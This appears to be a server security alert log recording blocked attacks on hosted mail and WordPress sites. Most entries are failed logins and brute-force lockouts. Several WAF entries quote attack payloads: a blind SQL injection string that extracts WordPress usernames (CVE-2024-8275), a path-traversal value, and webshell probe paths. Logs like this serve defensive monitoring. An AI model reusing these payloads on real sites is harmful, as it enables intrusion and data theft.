Feb  1 13:14:33 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:14:35 dovecot_login authenticator failed for H=(ku9Nu1B) [158.94.208.175]:60705: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 13:14:54 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:42638: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 13:14:11 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:49184: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:14:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55849: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:14:25 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55849: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.12
country_id: 99237
description:
2026-02-01 13:14:57 dovecot_plain authenticator failed for H=(mignist) [65.20.191.12]:60528: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 13:15:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:15:07 dovecot_login authenticator failed for H=(2srJU8lQiW) [158.94.208.175]:55452: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:15:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61538: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:15:15 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55396: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 13:15:28 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:42612: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-02-01 13:15:44 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:59880: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:16:09 dovecot_login authenticator failed for H=(9Zk8u26) [158.94.208.175]:57556: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:16:24 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57034: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:17:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62847: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.185.198.73
country_id: 798544
description:
2026-02-01 13:17:23 dovecot_plain authenticator failed for H=5.185.198.73.ipv4.public.orange.pl (pasing) [5.185.198.73]:54048: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:17:10 dovecot_login authenticator failed for H=(uvwa72zPD) [158.94.208.175]:52554: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:17:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56218: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 152.42.162.119
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/oxboldc/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:18:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53059: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77142150
name: IM360 WAF: Path traversal vulnerability in Gravity forms plugin for WordPress
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Path traversal vulnerability in Gravity forms plugin for WordPress||MVN:ARGS:gform_unique_id||RSV:7.71||T:APACHE||MV:../../../||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:19:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50637: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:19:30 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41182: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:19:41 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50637: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:20:07 dovecot_login authenticator failed for H=(7N9cKzo) [158.94.208.175]:61341: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:20:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57104: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 13:20:37 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:46784: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-02-01 13:20:54 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:44786: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:21:10 dovecot_login authenticator failed for H=(PPm9p20) [158.94.208.175]:58036: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:21:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62757: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.128.202
country_id: 6252001
description:
2026-02-01 13:21:42 dovecot_login authenticator failed for H=([192.34.128.202]) [192.34.128.202]:60212: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.53.11
country_id: 1835841
description:
2026-02-01 13:21:44 dovecot_login authenticator failed for H=([168.126.53.11]) [168.126.53.11]:40132: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 13:21:12 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:35914: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:21:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42632: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:22:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52198: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:22:11 dovecot_login authenticator failed for H=(4GcsVdxe) [158.94.208.175]:64614: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 13:23:10 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:52152: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:23:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56702: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:23:24 dovecot_login authenticator failed for H=(70f4qxQu) [158.94.208.175]:49534: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-02-01 13:23:39 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:55537: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:23:45 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54038: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:24:25 dovecot_login authenticator failed for H=(YyeGYbjE) [158.94.208.175]:55538: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:25:00 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51178: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-02-01 13:24:06 dovecot_login authenticator failed for H=(vtgroupsb.com) [61.50.119.110]:31622: 535 Incorrect authentication data (set_id=nologin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.188.252.208
country_id: 6252001
description:
2026-02-01 13:24:10 dovecot_plain authenticator failed for H=c-73-188-252-208.hsd1.pa.comcast.net (imartypous) [73.188.252.208]:47360: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:24:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62362: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:25:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57104: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:25:52 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46776: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:25:56 dovecot_login authenticator failed for H=(9Qpkmiq1) [158.94.208.175]:62330: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77166413
name: IM360 WAF: The Events Calendar - Potential SQL Injection in order parameter (CVE-2024-8275)
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: The Events Calendar - Potential SQL Injection in order parameter (CVE-2024-8275)||MV:, (select case when (ord(substring((select user_login from wp_users limit 0,1),1,1)) > 96) then 1 else 1*(select table_name from information_schema.tables) end)=1 asc #||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: PHP Injection Low value||MV:, (SELECT CASE WHEN (ORD(SUBSTRING((SELECT user_login FROM wp_users LIMIT 0,1),1,1)) > 96) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END)=1 ASC #||MVN:ARGS:order||RSV:7.71||T:APACHE||SC:/home/agpcorg/public_html/wp-content/plugins/wpdiscuz||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:order||MV:, (SELECT CASE WHEN (ORD(SUBSTRING((SELECT user_login FROM wp_users LIMIT 0,1),1,1)) > 96) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END)=1 ASC #||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 13:25:49 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (thlose) [87.103.126.54]:6062: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:26:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63151: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:26:28 dovecot_login authenticator failed for H=(OoETnCPdGb) [158.94.208.175]:49222: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.159
country_id: 2635167
description:
2026-02-01 13:27:25 224059 [Warning] Aborted connection 224059 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.159' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.136.169.58
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/fabricator-member.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:27:58 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45858: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:27:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52906: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:27:24 dovecot_login authenticator failed for H=(76zSFD) [158.94.208.175]:55935: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:28:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58869: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:28:25 dovecot_login authenticator failed for H=(nKus88l) [158.94.208.175]:51496: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.170
country_id: 1269750
description:
2026-02-01 13:28:16 dovecot_login authenticator failed for H=([122.187.223.48]) [128.185.201.170]:53860: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 13:28:53 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:34194: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-02-01 13:28:53 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:34671: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.236.75.189
country_id: 1814991
description:
2026-02-01 13:29:39 dovecot_login authenticator failed for H=([183.236.75.189]) [183.236.75.189]:50126: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:29:24 dovecot_login authenticator failed for H=(hNchqo) [158.94.208.175]:55940: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.104
country_id: 1269750
description:
2026-02-01 13:29:31 dovecot_login authenticator failed for H=(nsg-corporate-104.230.187.122.airtel.in) [122.187.230.104]:47240: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 13:29:41 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:22461: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-02-01 13:29:57 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:27086: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:29:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53313: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.120.52.244
country_id: 3469034
domain: smartcable.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:29225.smartcable.com.my||ServerName:smartcable.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a387feea9e2802cc1ca7abd31d8b4e7aabe369dc||Title:0x9136eec1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.168.240
country_id: 2186224
description:
2026-02-01 13:29:52 dovecot_login authenticator failed for H=([121.73.168.240]) [121.73.168.240]:50824: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-02-01 13:30:08 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:62506: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:30:22 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59074: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:30:05 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41254: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 13:30:19 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (lecunchsh) [87.103.126.54]:47849: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:30:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59074: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-02-01 13:31:57 dovecot_login authenticator failed for H=(122.55.57.177.pldt.net) [210.1.66.154]:63833: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/monthly-report.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:31:29 dovecot_login authenticator failed for H=(moJIT7DV) [158.94.208.175]:63019: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.185
country_id: 1733045
description:
2026-02-01 13:31:34 dovecot_login authenticator failed for H=([49.124.159.185]) [49.124.159.185]:50486: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 13:31:44 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:50118: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.199.172.66
country_id: 1814991
description:
2026-02-01 13:31:51 dovecot_login authenticator failed for H=([221.199.172.66]) [221.199.172.66]:40986: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:31:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65018: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.67.159.177
country_id: 953987
domain: www.tptec.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tptec.com.my/tel:60358887001 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.117
country_id: 1814991
description:
2026-02-01 13:31:28 dovecot_login authenticator failed for H=([111.61.175.117]) [111.61.175.117]:27176: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.163.174.216
country_id: 2017370
description:
2026-02-01 13:32:50 dovecot_login authenticator failed for H=([46.163.174.216]) [46.163.174.216]:36324: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:32:05 dovecot_login authenticator failed for H=(oUEEA8kCY8) [158.94.208.175]:63644: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-01 13:32:05 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:36956: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:32:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:48930: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/demos/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:32:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61246: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.243.234.23
country_id: 6252001
description:
2026-02-01 13:32:40 dovecot_login authenticator failed for H=c-73-243-234-23.hsd1.co.comcast.net [73.243.234.23]:58342: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:33:30 dovecot_login authenticator failed for H=(B05rCnS) [158.94.208.175]:57510: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.182.11.186
country_id: 1269750
domain: smartcable.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:59738.smartcable.com.my||ServerName:smartcable.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f1bb9736b13f0b13265f45ec865b9e2e94ba70f8||Title:0xa82a9237||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:33:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56760: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:34:04 dovecot_login authenticator failed for H=(JhbbClG) [158.94.208.175]:61778: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:34:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62520: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:34:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39380: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:35:14 dovecot_login authenticator failed for H=(mTlvhdlC5h) [158.94.208.175]:61383: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:35:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57335: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.199.161.144
country_id: 6252001
description:
